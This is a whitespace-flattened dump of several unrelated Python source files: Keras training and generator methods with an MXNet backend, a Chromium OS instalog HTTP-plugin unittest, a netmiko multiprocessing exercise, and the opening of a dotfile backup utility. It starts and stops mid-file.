an under-represented class. # Returns Scalar training loss (if the model has a single output and no metrics) or list of scalars (if the model has multiple outputs and/or metrics). The attribute `model.metrics_names` will give you the display labels for the scalar outputs. """ x, y, sample_weights = self._standardize_user_data( x, y, sample_weight=sample_weight, class_weight=class_weight, check_batch_axis=True) if self.uses_learning_phase and not isinstance(K.learning_phase, int): ins = x + y + sample_weights + [1.] else: ins = x + y + sample_weights self._make_train_function() outputs = self.train_function(ins) if len(outputs) == 1: return outputs[0] return outputs def test_on_batch(self, x, y, sample_weight=None): """Test the model on a single batch of samples. # Arguments x: Numpy array of test data, or list of Numpy arrays if the model has multiple inputs. If all inputs in the model are named, you can also pass a dictionary mapping input names to Numpy arrays. y: Numpy array of target data, or list of Numpy arrays if the model has multiple outputs. If all outputs in the model are named, you can also pass a dictionary mapping output names to Numpy arrays. sample_weight: optional array of the same length as x, containing weights to apply to the model's loss for each sample. In the case of temporal data, you can pass a 2D array with shape (samples, sequence_length), to apply a different weight to every timestep of every sample. In this case you should make sure to specify sample_weight_mode="temporal" in compile(). # Returns Scalar test loss (if the model has a single output and no metrics) or list of scalars (if the model has multiple outputs and/or metrics). The attribute `model.metrics_names` will give you the display labels for the scalar outputs. """ x, y, sample_weights = self._standardize_user_data( x, y, sample_weight=sample_weight, check_batch_axis=True) if self.uses_learning_phase and not isinstance(K.learning_phase, int): ins = x + y + sample_weights + [0.] else: ins = x + y + sample_weights self._make_test_function() outputs = self.test_function(ins) if len(outputs) == 1: return outputs[0] return outputs def predict_on_batch(self, x): """Returns predictions for a single batch of samples. """ x = standardize_input_data(x, self.input_names, self.internal_input_shapes) if self.uses_learning_phase and not isinstance(K.learning_phase, int): ins = x + [0.] else: ins = x self._make_predict_function() outputs = self.predict_function(ins) if len(outputs) == 1: return outputs[0] return outputs def fit_generator(self, generator, samples_per_epoch, nb_epoch, verbose=1, callbacks=None, validation_data=None, nb_val_samples=None, class_weight=None, max_q_size=10, nb_worker=1, pickle_safe=False, initial_epoch=0): """Fits the model on data generated batch-by-batch by a Python generator. The generator is run in parallel to the model, for efficiency. For instance, this allows you to do real-time data augmentation on images on CPU in parallel to training your model on GPU. # Arguments generator: a generator. The output of the generator must be either - a tuple (inputs, targets) - a tuple (inputs, targets, sample_weights). All arrays should contain the same number of samples. The generator is expected to loop over its data indefinitely. An epoch finishes when `samples_per_epoch` samples have been seen by the model. samples_per_epoch: integer, number of samples to process before going to the next epoch. nb_epoch: integer, total number of iterations on the data. verbose: verbosity mode, 0, 1, or 2. callbacks: list of callbacks to be called during training. validation_data: this can be either - a generator for the validation data - a tuple (inputs, targets) - a tuple (inputs, targets, sample_weights). nb_val_samples: only relevant if `validation_data` is a generator. number of samples to use from validation generator at the end of every epoch. class_weight: dictionary mapping class indices to a weight for the class. max_q_size: maximum size for the generator queue nb_worker: maximum number of processes to spin up when using process based threading pickle_safe: if True, use process based threading. Note that because this implementation relies on multiprocessing, you should not pass non picklable arguments to the generator as they can't be passed easily to children processes. initial_epoch: epoch at which to start training (useful for resuming a previous training run) # Returns A `History` object. # Example ```python def generate_arrays_from_file(path): while 1: f = open(path) for line in f: # create numpy arrays of input data # and labels, from each line in the file x1, x2, y = process_line(line) yield ({'input_1': x1, 'input_2': x2}, {'output': y}) f.close() model.fit_generator(generate_arrays_from_file('/my_file.txt'), samples_per_epoch=10000, nb_epoch=10) ``` """ wait_time = 0.01 # in seconds epoch = initial_epoch do_validation = bool(validation_data) self._make_train_function() if do_validation: self._make_test_function() # python 2 has 'next', 3 has '__next__' # avoid any explicit version checks val_gen = (hasattr(validation_data, 'next') or hasattr(validation_data, '__next__')) if val_gen and not nb_val_samples: raise ValueError('When using a generator for validation data, ' 'you must specify a value for "nb_val_samples".') out_labels = self.metrics_names callback_metrics = out_labels + ['val_' + n for n in out_labels] # prepare callbacks self.history = cbks.History() callbacks = [cbks.BaseLogger()] + (callbacks or []) + [self.history] if verbose: callbacks += [cbks.ProgbarLogger()] callbacks = cbks.CallbackList(callbacks) # it's possible to callback a different model than self: if hasattr(self, 'callback_model') and self.callback_model: callback_model = self.callback_model else: callback_model = self callbacks.set_model(callback_model) callbacks.set_params({ 'nb_epoch': nb_epoch, 'nb_sample': samples_per_epoch, 'verbose': verbose, 'do_validation': do_validation, 'metrics': callback_metrics, }) callbacks.on_train_begin() if do_validation and not val_gen: if len(validation_data) == 2: val_x, val_y = validation_data val_sample_weight = None elif len(validation_data) == 3: val_x, val_y, val_sample_weight = validation_data else: raise ValueError('validation_data should be a tuple ' '(val_x, val_y, val_sample_weight) ' 'or (val_x, val_y). Found: ' + str(validation_data)) val_x, val_y, val_sample_weights = self._standardize_user_data( val_x, val_y, val_sample_weight) self.validation_data = val_x + [val_y, val_sample_weights] else: self.validation_data = None enqueuer = None try: enqueuer = GeneratorEnqueuer(generator, pickle_safe=pickle_safe) enqueuer.start(max_q_size=max_q_size, nb_worker=nb_worker) callback_model.stop_training = False while epoch < nb_epoch: callbacks.on_epoch_begin(epoch) samples_seen = 0 batch_index = 0 while samples_seen < samples_per_epoch: generator_output = None while enqueuer.is_running(): if not enqueuer.queue.empty(): generator_output = enqueuer.queue.get() break else: time.sleep(wait_time) if not hasattr(generator_output, '__len__'): raise ValueError('output of generator should be a tuple ' '(x, y, sample_weight) ' 'or (x, y). Found: ' + str(generator_output)) if len(generator_output) == 2: x, y = generator_output sample_weight = None elif len(generator_output) == 3: x, y, sample_weight = generator_output else: raise ValueError('output of generator should be a tuple ' '(x, y, sample_weight) ' 'or (x, y). Found: ' + str(generator_output)) # build batch logs batch_logs = {} if isinstance(x, list): batch_size = x[0].shape[0] elif isinstance(x, dict): batch_size = list(x.values())[0].shape[0] else: batch_size = x.shape[0] batch_logs['batch'] = batch_index batch_logs['size'] = batch_size callbacks.on_batch_begin(batch_index, batch_logs) outs = self.train_on_batch(x, y, sample_weight=sample_weight, class_weight=class_weight) if not isinstance(outs, list): outs = [outs] for l, o in zip(out_labels, outs): batch_logs[l] = o callbacks.on_batch_end(batch_index, batch_logs) # construct epoch logs epoch_logs = {} batch_index += 1 samples_seen += batch_size # epoch finished if samples_seen > samples_per_epoch: warnings.warn('Epoch comprised more than ' '`samples_per_epoch` samples, ' 'which might affect learning results. ' 'Set `samples_per_epoch` correctly ' 'to avoid this warning.') if samples_seen >= samples_per_epoch and do_validation: if val_gen: val_outs = self.evaluate_generator( validation_data, nb_val_samples, max_q_size=max_q_size, nb_worker=nb_worker, pickle_safe=pickle_safe) else: # no need for try/except because # data has already been validated val_outs = self.evaluate( val_x, val_y, batch_size=batch_size, sample_weight=val_sample_weights, verbose=0) if not isinstance(val_outs, list): val_outs = [val_outs] # same labels assumed for l, o in zip(out_labels, val_outs): epoch_logs['val_' + l] = o callbacks.on_epoch_end(epoch, epoch_logs) epoch += 1 if callback_model.stop_training: break finally: if enqueuer is not None: enqueuer.stop() callbacks.on_train_end() return self.history def evaluate_generator(self, generator, val_samples, max_q_size=10, nb_worker=1, pickle_safe=False): """Evaluates the model on a data generator. The generator should return the same kind of data as accepted by `test_on_batch`. Arguments: generator: generator yielding tuples (inputs, targets) or (inputs, targets, sample_weights) val_samples: total number of samples to generate from `generator` before returning. max_q_size: maximum size for the generator queue nb_worker: maximum number of processes to spin up when using process based threading pickle_safe: if True, use process based threading. Note that because this implementation relies on multiprocessing, you should not pass non picklable arguments to the generator as they can't be passed easily to children processes. # Returns Scalar test loss (if the model has a single output and no metrics) or list of scalars (if the model has multiple outputs and/or metrics). The attribute `model.metrics_names` will give you the display labels for the scalar outputs. """ self._make_test_function() processed_samples = 0 wait_time = 0.01 all_outs = [] weights = [] enqueuer = None try: enqueuer = GeneratorEnqueuer(generator, pickle_safe=pickle_safe) enqueuer.start(nb_worker=nb_worker, max_q_size=max_q_size) while processed_samples < val_samples: generator_output = None while enqueuer.is_running(): if not enqueuer.queue.empty(): generator_output = enqueuer.queue.get() break else: time.sleep(wait_time) if not hasattr(generator_output, '__len__'): raise ValueError('output of generator should be a tuple ' '(x, y, sample_weight) ' 'or (x, y). Found: ' + str(generator_output)) if len(generator_output) == 2: x, y = generator_output sample_weight = None elif len(generator_output) == 3: x, y, sample_weight = generator_output else: raise ValueError('output of generator should be a tuple ' '(x, y, sample_weight) ' 'or (x, y). Found: ' + str(generator_output)) outs = self.test_on_batch(x, y, sample_weight=sample_weight) if isinstance(x, list): nb_samples = len(x[0]) elif isinstance(x, dict): nb_samples = len(list(x.values())[0]) else: nb_samples = len(x) all_outs.append(outs) processed_samples += nb_samples weights.append(nb_samples) finally: if enqueuer is not None: enqueuer.stop() if not isinstance(outs, list): return np.average(np.asarray(all_outs), weights=weights) else: averages = [] for i in range(len(outs)): averages.append(np.average([out[i] for out in all_outs], weights=weights)) return averages def predict_generator(self, generator, val_samples, max_q_size=10, nb_worker=1, pickle_safe=False): """Generates predictions for the input samples from a data generator. The generator should return the same kind of data as accepted by `predict_on_batch`. # Arguments generator: generator yielding batches of input samples. val_samples: total number of samples to generate from `generator` before returning. max_q_size: maximum size for the generator queue nb_worker: maximum number of processes to spin up when using process based threading pickle_safe: if True, use process based threading. Note that because this implementation relies on multiprocessing, you should not pass non picklable arguments to the generator as they can't be passed easily to children processes. # Returns Numpy array(s) of predictions. """ self._make_predict_function() processed_samples = 0 wait_time = 0.01 all_outs = [] enqueuer = None try: enqueuer = GeneratorEnqueuer(generator, pickle_safe=pickle_safe) enqueuer.start(nb_worker=nb_worker, max_q_size=max_q_size) while processed_samples < val_samples: generator_output = None while enqueuer.is_running(): if not enqueuer.queue.empty(): generator_output = enqueuer.queue.get() break else: time.sleep(wait_time) if isinstance(generator_output, tuple): if len(generator_output) == 2: x, y = generator_output sample_weight = None elif len(generator_output) == 3: x, y, sample_weight = generator_output else: raise ValueError('output of generator should be a tuple ' '(x, y, sample_weight) ' 'or (x, y). Found: ' + str(generator_output)) else: x = generator_output outs = self.predict_on_batch(x) if isinstance(x, list): nb_samples = len(x[0]) elif isinstance(x, dict): nb_samples = len(list(x.values())[0]) else: nb_samples = len(x) if not isinstance(outs, list): outs = [outs] if len(all_outs) == 0: for out in outs: shape = (val_samples,) + out.shape[1:] all_outs.append(np.zeros(shape, dtype=K.floatx())) for i, out in enumerate(outs): all_outs[i][processed_samples:(processed_samples + nb_samples)] = out processed_samples += nb_samples finally: if enqueuer is not None: enqueuer.stop() if len(all_outs) == 1: return all_outs[0] return all_outs if K.backend() == 'mxnet': class Model(Model): def compile(self, optimizer, loss, metrics=None, loss_weights=None, sample_weight_mode=None, context=None, kvstore='device', **kwargs): super(Model, self).compile( optimizer, loss, metrics, loss_weights, sample_weight_mode, **kwargs) def str2context(s): if s.startswith('cpu'): return mx.cpu() elif s.startswith('gpu('): index = int(s[4:-1]) return mx.gpu(index) elif s.startswith('gpu'): index = int(s[3:]) return mx.gpu(index) if context is None: self._context = [mx.current_context()] else: if isinstance(context, str): self_context = [context] self._context = [str2context(s) for s in context] self._data_names = [x.name for x in self.inputs] self._label_names = [x.name for x in self.targets + self.sample_weights] self._num_data = len(self._data_names) self._num_label = len(self._label_names) old = K.learning_phase() K.set_learning_phase(1) train_updates = [K.stop_gradient(i[1]) for i in self.updates] train_keras_symbol = K.group( [K.make_loss(self.total_loss)] + [K.stop_gradient(x) for x in self.metrics_tensors] + train_updates) bind_values = K.dfs_get_bind_values(train_keras_symbol) self._train_sym = train_keras_symbol.symbol self._ntrain = len(self.metrics_tensors) + 1 nmap = {i.name: j.name for (_, i), j in zip(self.updates, train_updates)} self._train_updates = {dst.name: nmap[src.name] for dst, src in self.updates} K.set_learning_phase(0) state_updates = [i[1] for i in self.state_updates] test_keras_symbol = K.group( [self.total_loss] + [K.stop_gradient(x) for x in self.metrics_tensors] + state_updates) bind_values.update(K.dfs_get_bind_values(test_keras_symbol)) self._test_sym = test_keras_symbol.symbol self._ntest = len(self.metrics_tensors) + 1 pred_keras_symbol = K.group(self.outputs + state_updates) bind_values.update(K.dfs_get_bind_values(pred_keras_symbol)) self._pred_sym = pred_keras_symbol.symbol self._npred = len(self.outputs) self._test_updates = {dst.name: src.name for dst, src in self.state_updates} K.set_learning_phase(old) self._arg_names = set([n for n in self._train_sym.list_arguments() if n not in self._data_names + self._label_names]) self._aux_names = set(self._train_sym.list_auxiliary_states()) trainable_weights = set([x.name for x in self.trainable_weights]) self._fixed_weights = [x for x in self._arg_names if x not in trainable_weights] self._args = {x: bind_values[x] for x in self._arg_names} self._auxs = {x: bind_values[x] for x in self._aux_names} self._weights_dirty = False self._kvstore = kvstore def sym_gen(phase): if phase == 'train': return self._train_sym, self._data_names, self._label_names elif phase == 'test': return self._test_sym, self._data_names, self._label_names else: return self._pred_sym, self._data_names, None self._mod = K.mx.mod.BucketingModule( sym_gen=sym_gen, default_bucket_key='pred', context=self._context, fixed_param_names=self._fixed_weights) K.set_model(self) def _adjust_module(self, inputs, phase): if not hasattr(self, '_num_data'): raise RuntimeError('You must compile your model before using it.') if self._num_data + self._num_label == len(inputs) - 1: inputs = inputs[:-1] elif self._num_data == len(inputs) - 1: inputs = inputs[:-1] assert self._num_data == len(inputs) or self._num_data + self._num_label == len(inputs) data = [K.mx.nd.array(x, dtype=s.dtype) for s, x in zip(self.inputs, inputs[:self._num_data])] data_shapes = [K.mx.io.DataDesc(s.name, arr.shape, dtype=s.dtype) for s, arr in zip(self.inputs, data)] if self._num_data < len(inputs): label = [K.mx.nd.array(x, dtype=s.dtype) for s, x in zip(self.targets + self.sample_weights, inputs[self._num_data:])] label_shapes = [K.mx.io.DataDesc(s.name, arr.shape, dtype=s.dtype) for s, arr in zip(self.targets + self.sample_weights, label)] else: label = None label_shapes = None if not self._mod.binded: self._mod.bind(data_shapes=data_shapes, label_shapes=None, for_training=True) self._set_weights() self._mod.init_optimizer(kvstore=self._kvstore, optimizer=self.optimizer) self._mod.switch_bucket(phase, data_shapes, label_shapes) if inputs[0].shape[0] != self._mod._curr_module._exec_group.batch_size: self._mod._curr_module.reshape(data_shapes, label_shapes) assert inputs[0].shape[0] == self._mod._curr_module._exec_group.batch_size, "Reshape failed" return data, label, phase, data_shapes, label_shapes def _sync_weights(self): if self._weights_dirty: args, auxs = self._mod.get_params() for name in self._arg_names: self._args[name][:] = args[name] for name in self._aux_names: self._auxs[name][:] = auxs[name] self._weights_dirty = False def _set_weights(self, arg_params=None, auxs_params=None): if self._mod.binded: self._mod.set_params(self._args if arg_params is None else arg_params, self._auxs if auxs_params is None else auxs_params, allow_missing=True) self._weights_dirty = arg_params is not None or auxs_params is not None else: if arg_params: for k in arg_params: self._args[k][:] = arg_params[k] if auxs_params: for k in auxs_params: self._auxs[k][:] = auxs_params[k] self._weights_dirty = False def _update(self, updates): for exe in self._mod._curr_module._exec_group.execs: outs = exe.output_dict args = exe.arg_dict for dst, src in updates.items(): args[dst][:] = outs[src+'_output'] def _make_train_function(self): def train_function(inputs): data, label, _, data_shapes, label_shapes = self._adjust_module(inputs, 'train') batch = K.mx.io.DataBatch(data=data, label=label, bucket_key='train', provide_data=data_shapes, provide_label=label_shapes) self._mod.forward_backward(batch) self._mod.update() self._update(self._train_updates) self._weights_dirty = True outs = self._mod.get_outputs()[:self._ntrain] return [x.asnumpy().mean() for x in outs] self.train_function = train_function def _make_test_function(self): def test_function(inputs): # although this function do testing we need the training symbol data, label, _, data_shapes, label_shapes = self._adjust_module(inputs, 'test') batch = K.mx.io.DataBatch(data=data, label=label, bucket_key='test', provide_data=data_shapes, provide_label=label_shapes) self._mod.forward(batch, is_train=False) if self._test_updates: self._update(self._test_updates) self._weights_dirty = True outs = self._mod.get_outputs()[:self._ntrain] return [x.asnumpy().mean() for x in outs] self.test_function = test_function def _make_predict_function(self): def predict_function(inputs): data, label, _, data_shapes, label_shapes = self._adjust_module(inputs, 'pred') batch = K.mx.io.DataBatch(data=data, label=label, bucket_key='pred', provide_data=data_shapes, provide_label=label_shapes) self._mod.forward(batch, is_train=False) if self._test_updates: self._update(self._test_updates) self._weights_dirty = True outs = self._mod.get_outputs()[:self._npred] return [x.asnumpy() for x in outs] self.predict_function = predict_function
input_http_unittest.py
#!/usr/bin/env python3 # # Copyright 2017 The Chromium OS Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Unittests for input HTTP plugin.""" import http.client import logging import os import queue import shutil import tempfile import threading import unittest import urllib.parse import requests from cros.factory.instalog import datatypes from cros.factory.instalog import log_utils from cros.factory.instalog import plugin_sandbox from cros.factory.instalog import testing from cros.factory.instalog.utils import file_utils from cros.factory.instalog.utils import net_utils from cros.factory.instalog.utils import process_utils from cros.factory.instalog.utils import sync_utils def _TempAvailSpaceMB(): output = process_utils.CheckOutput( ['df', '--output=avail', '--block-size=1M', tempfile.gettempdir()]) return int(output.splitlines()[1]) class TestInputHTTP(unittest.TestCase): def _CreatePlugin(self): self.core = testing.MockCore() self.hostname = 'localhost' self.port = net_utils.FindUnusedPort() config = { 'hostname': 'localhost', 'port': self.port} self.sandbox = plugin_sandbox.PluginSandbox( 'input_http', config=config, core_api=self.core) self.sandbox.Start(True) self.plugin = self.sandbox._plugin # pylint: disable=protected-access def setUp(self): self._CreatePlugin() self._tmp_dir = tempfile.mkdtemp(prefix='input_http_unittest_') def tearDown(self): if self.sandbox.GetState() != plugin_sandbox.DOWN: self.sandbox.Stop(True) self.assertTrue(self.core.AllStreamsExpired()) self.core.Close() shutil.rmtree(self._tmp_dir) def _GeneratePayload(self, mbytes): path = file_utils.CreateTemporaryFile(dir=self._tmp_dir) process_utils.Spawn( ['truncate', '-s', str(mbytes * 1024 * 1024), path], check_call=True) return path def _CurlPost(self, *fields): curl_args = ['-X', 'POST', '--silent', '--output', '/dev/null', '--write-out', '%{http_code}', '--header', 'Multi-Event: True'] for field in fields: unused_key, unused_sep, value = field.partition('=') curl_args.append('--form' if value[0] == '@' else '--form-string') curl_args.append(field) status_code_str = process_utils.CheckOutput( ['curl'] + curl_args + ['localhost:%d' % self.port], ignore_stderr=True) return int(status_code_str) def _RequestsPost(self, files=None, multi_event=True, timeout=None): # To avoid requests use content-type application/x-www-form-urlencoded return requests.post(url='http://localhost:' + str(self.port), files=files, headers={'Multi-Event': str(multi_event)}, timeout=timeout) def testConnect(self): r = requests.get(url='http://localhost:' + str(self.port), timeout=2) self.assertEqual(200, r.status_code) self.assertIn('Maximum-Bytes', r.headers) self.assertEqual(0, len(self.core.emit_calls)) def _ClientConnected(self): # pylint: disable=protected-access return len(self.plugin._http_server._threads) > 0 @unittest.skipIf(_TempAvailSpaceMB() < 256, 'Test requires 256mb disk space.') def testShutdown(self): """Tests that a request thread should terminate before shutting down.""" event = datatypes.Event({}, {'att_id': 'att'}) big_att_path = self._GeneratePayload(128) # 128mb # Use a queue to get the request object out of the thread. q = queue.Queue() def PostBig(): event_str = datatypes.Event.Serialize(event) r = self._CurlPost('event=%s' % event_str, 'att=@%s' % big_att_path) q.put(r) t = threading.Thread(target=PostBig) t.daemon = False t.start() sync_utils.WaitFor(self._ClientConnected, 10, poll_interval=0.02) self.sandbox.Stop(True) self.assertTrue(self.core.AllStreamsExpired()) self.core.Close() self.assertEqual(400, q.get()) t.join() def testShutdownServerClose(self): self.sandbox.Stop(True) self.assertTrue(self.core.AllStreamsExpired()) self.core.Close() with self.assertRaises(requests.ConnectionError): self._RequestsPost(timeout=1) def testUnsupportedMethod(self): r = requests.put('http://localhost:' + str(self.port)) self.assertEqual(501, r.status_code) r = requests.delete('http://localhost:' + str(self.port)) self.assertEqual(501, r.status_code) r = requests.head('http://localhost:' + str(self.port)) self.assertEqual(501, r.status_code) r = requests.options('http://localhost:' + str(self.port)) self.assertEqual(501, r.status_code) r = requests.patch('http://localhost:' + str(self.port)) self.assertEqual(501, r.status_code) def testNoAttachment(self): event = datatypes.Event({}, {'att_id': 'att'}) data = {'event': datatypes.Event.Serialize(event)} r = self._RequestsPost(files=data) self.assertEqual(400, r.status_code) self.assertEqual('Bad request: ValueError(\'Attachment(att) should have ' 'exactly one in the request\',)', r.reason) self.assertEqual(0, len(self.core.emit_calls)) def testSameNameAttachment(self): event = datatypes.Event({}, {'att_id': 'att'}) att1 = 'THISISATT1' att2 = 'THISISATT2' data = [('event', datatypes.Event.Serialize(event)), ('att', att1), ('att', att2)] r = self._RequestsPost(files=data) self.assertEqual(400, r.status_code) self.assertEqual('Bad request: ValueError(\'Attachment(att) should have ' 'exactly one in the request\',)', r.reason) self.assertEqual(0, len(self.core.emit_calls)) def testUseSameAttachment(self): event1 = datatypes.Event({}, {'att_id': 'att'}) event2 = datatypes.Event({}, {'att_id': 'att'}) att = 'THISISATT' data = [('event', datatypes.Event.Serialize(event1)), ('event', datatypes.Event.Serialize(event2)), ('att', att)] r = self._RequestsPost(files=data) self.assertEqual(400, r.status_code) self.assertEqual('Bad request: ValueError(\'Attachment(att) should be ' 'used by one event\',)', r.reason) self.assertEqual(0, len(self.core.emit_calls)) def testAdditionalAttachment(self): event = datatypes.Event({}, {'att_id': 'att1'}) att1 = 'THISISATT1' att2 = 'THISISATT2' data = [('event', datatypes.Event.Serialize(event)), ('att1', att1), ('att2', att2)] r = self._RequestsPost(files=data) self.assertEqual(400, r.status_code) self.assertEqual('Bad request: ValueError("Additional fields: ' '[\'att2\']",)', r.reason) self.assertEqual(0, len(self.core.emit_calls)) def testInvalidSingleEvent(self): """Tests that event.attachment has additional attachment""" event = datatypes.Event({'type': 'other', 'AA': 'BB'}, {'att': 'att'}) att = os.urandom(1024) # 1kb data data = {'event': datatypes.Event.Serialize(event), 'att': att} r = self._RequestsPost(files=data, multi_event=False) self.assertEqual(400, r.status_code) self.assertEqual('Bad request: ValueError(\'Please follow the format: ' 'event={Payload}\',)', r.reason) event = datatypes.Event( {'type': 'other', 'AA': 'BB', 'attachments': {'att_key1': {}, 'att_key2': {}}}, {'att_key2': 'att_key2'}) att1 = os.urandom(1024) # 1kb data att2 = os.urandom(1024) # 1kb data data = {'event': datatypes.Event.Serialize(event), 'att_key1': att1, 'att_key2': att2} r = self._RequestsPost(files=data, multi_event=False) self.assertEqual(400, r.status_code) self.assertEqual('Bad request: ValueError(\'Please follow the format: ' 'event={Payload}\',)', r.reason) def testOneEvent(self): event = datatypes.Event({'AA': 'BB'}, {'att_id': 'att'}) att = os.urandom(1024) # 1kb data data = {'event': datatypes.Event.Serialize(event), 'att': att} r = self._RequestsPost(files=data) self.assertEqual(200, r.status_code) self.assertEqual(1, len(self.core.emit_calls)) self.assertEqual(1, len(self.core.emit_calls[0])) self.assertEqual(event.payload, self.core.emit_calls[0][0].payload) with open(self.core.emit_calls[0][0].attachments['att_id'], 'rb') as f: self.assertEqual(att, f.read()) event = datatypes.Event({'AA': 'BB'}) att = os.urandom(1024) # 1kb data data = {'event': datatypes.Event.Serialize(event), 'att': att} r = self._RequestsPost(files=data, multi_event=False) self.assertEqual(200, r.status_code) self.assertEqual(2, len(self.core.emit_calls)) self.assertEqual(1, len(self.core.emit_calls[1])) self.assertEqual(event.payload, self.core.emit_calls[1][0].payload) with open(self.core.emit_calls[1][0].attachments['att'], 'rb') as f: self.assertEqual(att, f.read()) def testHTTPlibEvent(self): client = http.client.HTTPConnection('localhost', self.port, timeout=180) event = datatypes.Event({'AA': 'BB'}, {'att_id': 'att'}) att = os.urandom(1024) # 1kb data params = urllib.parse.urlencode({'event': datatypes.Event.Serialize(event), 'att': att}) client.request('POST', '/', params) self.assertEqual(406, client.getresponse().status) self.assertEqual(0, len(self.core.emit_calls)) def testMultiEvent(self): event1 = datatypes.Event({}, {'att_id': 'att1'}) event2 = datatypes.Event({'CC': 'DD'}, {}) event3 = datatypes.Event({'EE': 'FF'}, {'att_id': 'att2'}) att1 = os.urandom(10) att2 = os.urandom(10) data = [('event', datatypes.Event.Serialize(event1)), ('event', datatypes.Event.Serialize(event2)), ('event', datatypes.Event.Serialize(event3)), ('att1', att1), ('att2', att2)] r = self._RequestsPost(files=data, multi_event=False) self.assertEqual(400, r.status_code) self.assertEqual('Bad request: ValueError(\'One request should not exceed ' 'one event\',)', r.reason) self.assertEqual(0, len(self.core.emit_calls)) r = self._RequestsPost(files=data) self.assertEqual(200, r.status_code) self.assertEqual(1, len(self.core.emit_calls)) self.assertEqual(3, len(self.core.emit_calls[0])) self.assertEqual(event1.payload, self.core.emit_calls[0][0].payload) self.assertEqual(event2.payload, self.core.emit_calls[0][1].payload) self.assertEqual(event3.payload, self.core.emit_calls[0][2].payload) with open(self.core.emit_calls[0][0].attachments['att_id'], 'rb') as f: self.assertEqual(att1, f.read()) with open(self.core.emit_calls[0][2].attachments['att_id'], 'rb') as f: self.assertEqual(att2, f.read()) @unittest.skipIf(_TempAvailSpaceMB() < 256, 'Test requires 256mb disk space.') def testMultithreadedServing(self): """Tests that the server has multithreading enabled.""" event1 = datatypes.Event({'size': 'big'}, {'att_id': 'att'}) event2 = datatypes.Event({'size': 'small'}, {'att_id': 'att'}) big_att_path = self._GeneratePayload(128) # 128mb small_data = {'event': datatypes.Event.Serialize(event2), 'att': '!' * 1024} # 1kb # Use a queue to get the request object out of the thread. q = queue.Queue() def PostBig(): event_str = datatypes.Event.Serialize(event1) r = self._CurlPost('event=%s' % event_str, 'att=@%s' % big_att_path) q.put(r) t = threading.Thread(target=PostBig) t.daemon = False t.start() sync_utils.WaitFor(self._ClientConnected, 10, poll_interval=0.02) r = self._RequestsPost(files=small_data, timeout=1) t.join() self.assertEqual(200, r.status_code) self.assertEqual(200, q.get()) self.assertEqual(2, len(self.core.emit_calls)) self.assertEqual(1, len(self.core.emit_calls[0])) self.assertEqual('small', self.core.emit_calls[0][0]['size']) self.assertEqual(1, len(self.core.emit_calls[1])) self.assertEqual('big', self.core.emit_calls[1][0]['size']) def testCurlCommand(self): att_path = self._GeneratePayload(1) # 1mb self._CurlPost('event=[{"GG": "HH"}, {"att_id": "att"}]', 'att=@%s' % att_path) self.assertEqual(1, len(self.core.emit_calls)) self.assertEqual(1, len(self.core.emit_calls[0])) self.assertEqual({'GG': 'HH'}, self.core.emit_calls[0][0].payload) uploaded_path = self.core.emit_calls[0][0].attachments['att_id'] self.assertEqual( file_utils.ReadFile(uploaded_path), file_utils.ReadFile(att_path)) @unittest.skip('This test cause a heavy load on disk write, ' 'and slow down other tests. Please run it manually.') def testOneHugeAttachment(self): """Tests the ability to transfer one huge attachment.""" event = datatypes.Event({}, {'att_id': 'att'}) att_path = self._GeneratePayload(1024) # 1gb event_str = datatypes.Event.Serialize(event) r = self._CurlPost('event=%s' % event_str, 'att=@%s' % att_path) self.assertEqual(200, r) self.assertEqual(1, len(self.core.emit_calls)) self.assertEqual(1, len(self.core.emit_calls[0])) uploaded_path = self.core.emit_calls[0][0].attachments['att_id'] process_utils.Spawn( ['cmp', '-s', uploaded_path, att_path], check_call=True) if __name__ == '__main__': log_utils.InitLogging(log_utils.GetStreamHandler(logging.INFO)) logging.getLogger('requests').setLevel(logging.WARNING) unittest.main()
exercise8.py
#!/usr/bin/env python # Optional bonus question # --use a queue to get the output data back from the child processes in question #7. # Print this output data to the screen in the main process. # amount of time executing with processes and queues : 0:00:07.893882 from datetime import datetime from multiprocessing import Process, Queue from netmiko import ConnectHandler from net_system.models import NetworkDevice, Credentials import django def show_version(n_device, output_queue): output_dict = {} creds = n_device.credentials remote_conn = ConnectHandler(device_type=n_device.device_type, ip=n_device.ip_address, username=creds.username, password=creds.password, port=n_device.port) output = '*' * 100 output += remote_conn.send_command("show version") output += '*' * 100 output_dict[n_device.device_name] = output output_queue.put(output_dict) def main(): django.setup() start_time = datetime.now() output_queue = Queue(maxsize=20) network_devices = NetworkDevice.objects.all() processes = [] for n_device in network_devices: # Creating and starting process with show_version function my_process = Process(target=show_version, args=(n_device, output_queue)) my_process.start() processes.append(my_process) for n_proc in processes: n_proc.join() while not output_queue.empty(): my_dict = output_queue.get() for key, value in my_dict.iteritems(): print key print value total_time = datetime.now() - start_time print "Total time is :{}".format(total_time) if __name__ == "__main__": main()
shallow_backup.py
import os import git import sys import json import click import shutil import inquirer from glob import glob import subprocess as sp from pprint import pprint import multiprocessing as mp from os.path import expanduser from constants import Constants from colorama import Fore, Style from shutil import copy, copyfile, copytree ######### # Display ######### def print_version_info(): version = "{} v{} by {} -> (Github: {})".format(Constants.PROJECT_NAME, Constants.VERSION, Constants.AUTHOR_FULL_NAME, Constants.AUTHOR_GITHUB) line = "-" * (len(version)) print(Fore.RED + Style.BRIGHT + line) print(version) print(line + "\n" + Style.RESET_ALL) def splash_screen(): """ Display splash graphic, and then version info """ print(Fore.YELLOW + Style.BRIGHT + "\n" + Constants.LOGO + Style.RESET_ALL) print_version_info() def print_section_header(title, COLOR): """ Prints variable sized section header """ block = "#" * (len(title) + 2) print("\n" + COLOR + Style.BRIGHT + block) print("#", title) print(block + "\n" + Style.RESET_ALL) def prompt_yes_no(message, color): """ Print question and return True or False depending on user selection from list. """ questions = [inquirer.List('choice', message=color + Style.BRIGHT + message + Fore.BLUE, choices=[' Yes', ' No'], ), ] answers = inquirer.prompt(questions) return answers.get('choice').strip().lower() == 'yes' ########### # Utilities ########### def run_shell_cmd(command): """ Wrapper on subprocess.run that handles both lists and strings as commands. """ try: if not isinstance(command, list): process = sp.run(command.split(), stdout=sp.PIPE) return process else: process = sp.run(command, stdout=sp.PIPE) return process except FileNotFoundError: # If package manager is missing return None def run_shell_cmd_write_stdout_to_file(command, filepath): """ Runs a command and then writes its stdout to a file :param: command String representing command to run and write output of to file """ process = run_shell_cmd(command) if process: with open(filepath, "w+") as f: f.write(process.stdout.decode('utf-8')) def make_dir_warn_overwrite(path): """ Make destination dir if path doesn't exist, confirm before overwriting if it does. """ subdirs = ["dotfiles", "packages", "fonts", "configs"] if os.path.exists(path) and path.split("/")[-1] in subdirs: print(Fore.RED + 